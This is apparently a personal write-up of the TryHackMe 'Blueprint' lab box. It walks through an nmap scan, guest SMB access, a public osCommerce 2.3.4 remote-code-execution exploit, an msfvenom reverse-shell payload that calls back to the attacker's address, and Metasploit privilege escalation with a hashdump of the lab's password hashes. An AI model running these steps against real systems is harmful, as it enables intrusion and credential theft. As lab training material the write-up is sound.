Today’s objective is a relatively easy box, Blueprint from Try Hack Me.

However, there’s a major obstacle in completing this box - somehow it managed to randomly go offline whenever it felt like. Therefore, the whole experience was quite demoralizing, and after a few times witnessing my little reverse shell got killed out of the blue, I had no choice but to go for the easier path - Metasploit. (;-;)

So, everything first started with a port scan.

# Nmap 7.92 scan initiated Thu Jan 20 03:34:37 2022 as: nmap -sC -sV -oN nmap.txt 10.10.39.37
Nmap scan report for 10.10.39.37
Host is up (0.56s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: 404 - File or directory not found.
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: Bad request!
445/tcp   open  microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql        MariaDB (unauthorized)
8080/tcp  open  http         Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Index of /
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  msrpc        Microsoft Windows RPC
Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 0s, deviation: 1s, median: -1s
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: <unknown>, NetBIOS MAC: 02:a3:23:5f:7e:9f (unknown)
| smb2-time: 
|   date: 2022-01-20T08:38:11
|_  start_date: 2022-01-20T08:33:35
| smb-os-discovery: 
|   OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: BLUEPRINT
|   NetBIOS computer name: BLUEPRINT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-01-20T08:38:10+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 20 03:38:40 2022 -- 1 IP address (1 host up) scanned in 242.51 seconds

As you can see, the attack surface is huge. So huge that it paved the ways for lots of rabbit holes.

First, the TRACE method was deemed as “potentially risky method”. TRACE method can be utilized in Cross-site Tracing (XST) attack. Fortunately, this hole isn’t deep and soon after a few requests, I figured it out that it’s not the vulnerability I was looking for.

Second, there’re SMB ports running, even allowing guest user access. For more tips and tricks on exploiting SMB services, HackTricks has a great page for it. In short, I effortlessly broke into shares for guest account, namely Users and Windows share.

smbclient -U 'guest' -L \\10.10.39.37\

smbclient -U 'guest' \\\\10.10.39.37\\Users

smbclient -U 'guest' \\\\10.10.39.37\\Windows

However, guest user didn’t have sufficient permission to peek into Windows directory (obviously), and there was nothing much Users directory either. The best shot I could find there was a DAT log file. This brick wall also seems no better than the first one, so I left it here.

The third time, fortunately, I found the right path.

You may have noticed that there’s an Apache web service running on port 8080, which was plain weird. Here’s what was shown in browser.

oscommerce version 2.3.4… Sounds oddly specific. In no time, several public exploits were found.

$ searchsploit oscommerce 2.3.4
------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                      |  Path
------------------------------------------------------------------------------------ ---------------------------------
osCommerce 2.3.4 - Multiple Vulnerabilities                                         | php/webapps/34582.txt
osCommerce 2.3.4.1 - 'currency' SQL Injection                                       | php/webapps/46328.txt
osCommerce 2.3.4.1 - 'products_id' SQL Injection                                    | php/webapps/46329.txt
osCommerce 2.3.4.1 - 'reviews_id' SQL Injection                                     | php/webapps/46330.txt
osCommerce 2.3.4.1 - 'title' Persistent Cross-Site Scripting                        | php/webapps/49103.txt
osCommerce 2.3.4.1 - Arbitrary File Upload                                          | php/webapps/43191.py
osCommerce 2.3.4.1 - Remote Code Execution                                          | php/webapps/44374.py
osCommerce 2.3.4.1 - Remote Code Execution (2)                                      | php/webapps/50128.py
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

I only tried the 44374.py, and it perfectly worked. However, the connection died very easily, for which I think my connection with this box was to blame. If you want to follow this path thou, just remember to change the parameters in the script accordingly and it should work.

On the other hand, because of my bad connection with this box, I need something better than a simple PHP reverse shell. Therefore, I opened msfconsole, looked for the exact same exploit, set the parameters and executed it, then elevated from PHP meterpreter to Windows tcp meterpreter using a backdoor:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.4.28.15 LPORT=9999 -f exe > rever.exe

Upload it to server, open up a multi/handler to catch it, then execute rever.exe, we got a Windows TCP meterpreter back.

From here onward was just normal Metasploit stuffs.

meterpreter > load priv
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:549a1bcb88e35dc18c7a0b0168631411:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::
meterpreter > getsystem
meterpreter > getuid
NT AUTHORITY\SYSTEM

Here’s the hash crack result using Crack Station.

The root flag was in Admin’s desktop.

I also tried to crack Admin password, just for the sake of curiosity, but seems like it wasn’t in the word list.

And that’s it. Here are today box’s answers.